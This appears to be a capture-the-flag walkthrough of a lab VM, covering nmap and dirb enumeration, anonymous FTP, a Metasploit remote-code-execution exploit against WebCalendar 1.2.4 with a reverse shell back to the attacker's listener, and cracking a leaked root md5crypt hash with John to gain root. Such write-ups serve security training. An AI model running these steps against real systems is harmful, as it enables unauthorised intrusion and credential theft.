

## Holiday Walkthrough

### Initial enumeration

We were given the IP of the target machine: 192.168.56.110. My very first step was to use nmap to enumerate all the services that were listening and open for communication.

```
root@kali:~/Desktop# nmap -sC -sV -T4 --top-ports=2000 192.168.56.110
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 10:16 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
--dns-servers
Nmap scan report for 192.168.56.110
Host is up (0.00026s latency).
Not shown: 1998 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxr-x  2 1001      1001          4096 Nov 21 11:43 did-not-read-yet
| drwxrwxr-x  2 1001      1001          4096 Nov 21 11:46 read
|_ftp-syst:
|   STAT:
|     STAT:
|       Connected to ::ffff:192.168.56.101
|       Logged in as ftp
|       TYPE: ASCII
|       No session bandwidth limit
|       Session timeout in seconds is 300
|       Control connection is plain text
|       Data connections will be plain text
|       At session startup, client count was 4
|       vsFTPD 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http    Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:76:F7:13 (Oracle VirtualBox virtual NIC)
```

Picture 1. Initial nmap results

To make sure that no hidden ports were left out of my enumeration, I launched a full port scan on all ports. However, since this usually takes a long time to finish I carried on and let the test run in the background.

```
root@kali:~/Desktop# nmap -sS -p- 192.168.56.110
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 10:21 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
--dns-servers
Nmap scan report for 192.168.56.110
Host is up (0.000097s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
MAC Address: 08:00:27:76:F7:13 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds
```

Picture 2. No additional TCP ports found open.

The very first thing nmap told me, was that that from the two services open and running, ftp had anonymous login allowed, so I went ahead and logged in with the username **anonymous** and a blank password. However, the documents I found in the ftp folder did not give me too much, uploading files was not possible and the only thing I had was maybe a hint pointing towards the web service.

```
root@kali:~/Desktop# ftp 192.168.56.110
Connected to 192.168.56.110.
220 Welcome to paradise!
Name (192.168.56.110:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x  2 1001      1001          4096 Nov 21 11:43 did-not-read-yet
drwxrwxr-x  2 1001      1001          4096 Nov 21 11:46 read
226 Directory send OK.
ftp> cd did-not-read-yet
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--  1 1001      1001        139640 Nov 19 18:19 web-security-basics.html
226 Directory send OK.
ftp> get web-security-basics.html
local: web-security-basics.html remote: web-security-basics.html
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for web-security-basics.html (139640 bytes).
226 Transfer complete.
```

Picture 3. Interacting with FTP

Since this service did not give us too much in terms of access, we carry on to HTTP. If we simply browse to the IP we are greeted by the default apache index page, nothing too interesting, so I started looking for different web content using dirb. Since I did not know what I was looking for yet, I simply started the scanner with all default settings to see if I find

anything. Most of the directories dirb found are typically found on web servers, however **webcalendar** looked particularly interesting.

The terminal window shows the command `dirb http://192.168.56.110` running, with the output of the scan. The browser window shows the Apache2 Ubuntu default page, which includes a welcome message and a link to the `It works!` test page.

```
root@kali:~/Desktop# dirb http://192.168.56.110
[...]
DIRB v2.22 - By The Dark Raver
[...]
START_TIME: Mon Dec 2 10:34:05 2019
URL_BASE: http://192.168.56.110/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
[...]
GENERATED WORDS: 4612
[...]
---- Scanning URL: http://192.168.56.110/g-->properly. You should replace this
+ http://192.168.56.110/index.html (CODE:200|SIZE:10918)P server.
+ http://192.168.56.110/server-status (CODE:403|SIZE:279)
==> DIRECTORY: http://192.168.56.110/webcalendar/
[...]
---- Entering directory: http://192.168.56.110/webcalendar/
+ http://192.168.56.110/webcalendar/admin.php (CODE:302|SIZE:474)
==> DIRECTORY: http://192.168.56.110/webcalendar/docs/
+ http://192.168.56.110/webcalendar/favicon.ico (CODE:200|SIZE:3262)
==> DIRECTORY: http://192.168.56.110/webcalendar/icons/
==> DIRECTORY: http://192.168.56.110/webcalendar/images/
==> DIRECTORY: http://192.168.56.110/webcalendar/includes/
+ http://192.168.56.110/webcalendar/index.php (CODE:302|SIZE:474)
==> DIRECTORY: http://192.168.56.110/webcalendar/install/ web server inst
==> DIRECTORY: http://192.168.56.110/webcalendar/tests/
==> DIRECTORY: http://192.168.56.110/webcalendar/themes/
+ http://192.168.56.110/webcalendar/TODO (CODE:200|SIZE:3633)
==> DIRECTORY: http://192.168.56.110/webcalendar/tools/
==> DIRECTORY: http://192.168.56.110/webcalendar/translations/
==> DIRECTORY: http://192.168.56.110/webcalendar/ws/
```

Picture 4. Dirb finds the webcalendar installation

Browsing to `192.168.56.110/webcalendar/` reveals that **webcalendar** is an application that is indeed installed and running on the system. I first tried gaining access by trying some simple passwords combinations like `admin/admin` or `admin/password` but as these did not work out, I checked the version number of the application (lucky for me that was visible in the bottom left corner) and looked online for potential attack paths. After a bit of googling it turned out that this version of the application was in fact vulnerable to a remote code execution vulnerability.

## webcalendar

The image shows a screenshot of a web browser displaying the 'webcalendar' application. At the top left, the word 'webcalendar' is visible. Below it is a login form. The form features a key icon on the left. It has two text input fields: one for 'Username' and one for 'Password'. Below these fields is a checkbox labeled 'Save login via cookies so I don't have to login next time'. At the bottom right of the form is a 'Login' button.

**Note:** This application requires cookies to be enabled.

WebCalendar v1.2.4 (08 Aug 2011)

Picture 5. Webcalendar version number

### Exploiting webcalendar

I decided to use metasploit to exploit this vulnerability. I launched the console, selected **exploit/linux/http/webcalendar\_settings\_exec** and set the appropriate parameters. I had to try several different payloads, but in the end I got a shell back.

```
msf5 exploit(linux/http/webcalendar_settings_exec) > set targeturi webcalendar
targeturi => webcalendar
msf5 exploit(linux/http/webcalendar_settings_exec) > set rhosts 192.168.56.110
rhosts => 192.168.56.110
msf5 exploit(linux/http/webcalendar_settings_exec) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse bash
msf5 exploit(linux/http/webcalendar_settings_exec) > set lport 192.168.56.101
lport => 192.168.56.101
msf5 exploit(linux/http/webcalendar_settings_exec) > set lhost 192.168.56.101
lhost => 192.168.56.101
msf5 exploit(linux/http/webcalendar_settings_exec) > set lport 9001
lport => 9001
msf5 exploit(linux/http/webcalendar_settings_exec) > run

[*] Started reverse TCP handler on 192.168.56.101:9001
[*] Housing php payload...
[*] Loading our payload...
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/webcalendar_settings_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(linux/http/webcalendar_settings_exec) > run

[*] Started reverse TCP double handler on 192.168.56.101:9001
[*] Housing php payload...
[*] Loading our payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo t2prflvAAaqrWpIU;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "t2prflvAAaqrWpIU\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.56.101:9001 -> 192.168.56.110:42404) at 2019-12-02
```

Picture 6. Successful exploitation

After getting the shell I saw it was running as **www-data**, so my job was not done yet. I had to escalate my privileges to root.

### Post shell information gathering

The most natural first thought was to find the the users and their home folders on this machine. As we can see either from **/etc/passwd** or going to **/home** on the filesystem, the only named user on this box other than root is billie. I spent some time going through billie's files, but what ended up being the most interesting was the file **/home/billie/management/rootcron.bak**. It was a cron file referencing a nonstandard script in the **/etc** directory. The name suggested that script is run by root every minute.

```

cat rootcron.bak
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).

* * * * * /bin/bash /etc/hitchinaride.sh

# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command

```

Picture 7. rootcron.bak

Obviously I proceeded to check out **/etc/hitchinaride.sh** and apparently this script copies the highly sensitive **/etc/shadow** file to a backup in **/etc/backup/shadow.bak**. The file is readable by our user and is formatted in the real shadow format, most importantly with root's password stored with the insecure md5 algorithm as indicated by **\$1\$**.

```

cat /etc/backup/shadow.bak
root:$1$cool$E.MDUFratT2H.Eeu74pSt.:18225:0:99999:7:::
daemon:*:18002:0:99999:7:::
bin:*:18002:0:99999:7:::
sys:*:18002:0:99999:7:::
sync:*:18002:0:99999:7:::
games:*:18002:0:99999:7:::
man:*:18002:0:99999:7:::
lp:*:18002:0:99999:7:::
mail:*:18002:0:99999:7:::
news:*:18002:0:99999:7:::
uucp:*:18002:0:99999:7:::
proxy:*:18002:0:99999:7:::
www-data:*:18002:0:99999:7:::

```

Picture 8. shadow.bak

## Privilege escalation

I copied the file, especially root's line to a local file and attempted to crack the password hash using the rockyou.txt wordlist, a widely popular wordlist for this purpose. John the ripper quickly came back with what might be root's password.

```
root@kali:~/Desktop# john --wordlist=/usr/share/wordlists/rockyou.txt root.shadow
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 32/32])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
greendayrox      (root)
1g 0:00:00:03 DONE (2019-12-02 11:14) 0.3184g/s 24295p/s 24295c/s 24295C/s hardhouse..derek5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Picture 9. John cracks the md5 password from the shadow file

Attempting to **su** to root and supplying the password john cracked I successfully elevated my privileges to root. The below screenshot shows complete control of the system including being able to read the **flag.txt** file in root's folder.

```
cd /root
whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group 0
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state
    link/ether 08:00:27:76:f7:13 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.110/24 brd 192.168.56.255 scope global dynamic noprefixroute
        valid_lft 835sec preferred_lft 835sec
    inet6 fe80::5d9e:4ca8:e11d:da08/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
wc -c flag.txt
25 flag.txt
```

Picture 10. Root shell with complete control